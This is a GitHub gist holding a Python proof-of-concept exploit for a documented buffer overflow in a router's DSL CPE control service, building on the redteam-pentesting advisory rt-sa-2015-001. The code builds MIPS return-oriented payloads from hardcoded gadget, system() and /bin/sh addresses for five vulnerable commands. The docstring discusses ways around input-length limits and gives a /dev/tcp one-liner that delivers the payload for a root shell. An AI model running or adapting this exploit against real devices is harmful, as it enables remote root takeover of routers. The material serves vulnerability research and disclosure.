Skip to content

Instantly share code, notes, and snippets.

@vp777
Created October 5, 2020 21:29
Show Gist options
  • Save vp777/bd267bb13bb7a7450f71d3f97726af9a to your computer and use it in GitHub Desktop.
Save vp777/bd267bb13bb7a7450f71d3f97726af9a to your computer and use it in GitHub Desktop.
'''
A poc for a device having the ScriptExecute buffer overflow originally reported by:
https://www.redteam-pentesting.de/en/advisories/rt-sa-2015-001/-avm-fritz-box-remote-code-execution-via-buffer-overflow
As suggested in the above advisory, parts of the source code of the vulnerable application can be found at:
https://github.com/mirror/dd-wrt/tree/master/src/router/dsl_cpe_control
Nevertheless, in the above repository there is an imposed maximum length on the user input, which mitigates the
vulnerability in the unsafe sscanf call.
This poc targets the variation without the user input length limitations.
But even with the input length limitations, it should be possible to use the DebugTraceInterfaceSTART function, for which the payload is
smaller than the imposed user input length limit and so still exploitable.
and in case DebugTraceInterfaceSTART is not available, an issue in the user input parsing function should allow us to work around
the limitation on the length of the user input.
in case everything else fail, it should also be possible to execute arbitrary commands through NotificationScriptExecuteConfigSet,
as it doesn't perform any checks on the input file that is passed for execution.
We get a root shell on the router by running:
exec 3<>/dev/tcp/192.168.10.254/2001;cat <(python dsl_cpe_poc.py) ->&3 | cat <&3
'''
import codecs
import struct
import sys
class Target:
system_addr = 0x0042F3B0
binsh_addr = 0x00449D80
stage1_addr = 0x0043A014 #load $s0 and $ra from stack
stage2_addr = 0x0040D858 #move $s0 to $a0, load $ra from stack
def __init__(self, command, fpoff, cmd_args = b"{}", placeholder = b"{}", blacklisted_chars = b'\x09\x0a\x0b\x0c\x0d '):
self.command = Target.byter(command)
self.cmd_args = Target.byter(cmd_args)
self.placeholder = Target.byter(placeholder)
self.blacklisted_chars = Target.byter(blacklisted_chars, 'ascii')
self.fpoff = fpoff
def payload(self):
payload = self.command
payload += b" " + self.cmd_args
aldready_written = self.cmd_args.find(self.placeholder)
buf = b"A" * (self.fpoff-4-aldready_written) + struct.pack(">I", Target.stage1_addr)
buf += (0x20-8) * b"A" + struct.pack(">I", Target.binsh_addr)
buf += struct.pack(">I", Target.stage2_addr)
buf += (0x48-4) * b"A" + struct.pack(">I", Target.system_addr)
if any(bchar in buf for bchar in self.blacklisted_chars):
raise Exception('Found blacklisted character character in: ' + codecs.encode(buf, 'hex_codec'))
return payload.replace(self.placeholder, buf)
def pp(self):
Target.bprint(self.payload())
def ppx(self):
Target.bprint(codecs.encode(self.payload(), 'hex_codec'))
@staticmethod
def byter(s, encoding = 'utf-8'):
if not isinstance(s, bytes):
return s.encode(encoding)
return s
@staticmethod
def bprint(s, encoding = 'utf-8'):
s = Target.byter(s, encoding)
if sys.version_info >= (3, 0):
sys.stdout.buffer.write(s)
else:
sys.stdout.write(s)
se = ScriptExecute = Target("se", 0x110)
alf = AutobootLoadFirmware = Target("alf", 0x11C)
nsecs = NotificationScriptExecuteConfigSet = Target("nsecs", 0x110)
asecs = AutobootScriptExecuteConfigSet = Target("asecs", 0x118, "{} test")
dtistart = DebugTraceInterfaceSTART = Target("dtistart", 0x34, "1 2 {} 4 5 6 7")
targets = [se, alf, nsecs, asecs, dtistart]
n = 0
if len(sys.argv)>1:
n = int(sys.argv[1], 10) % len(targets)
targets[n].pp()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment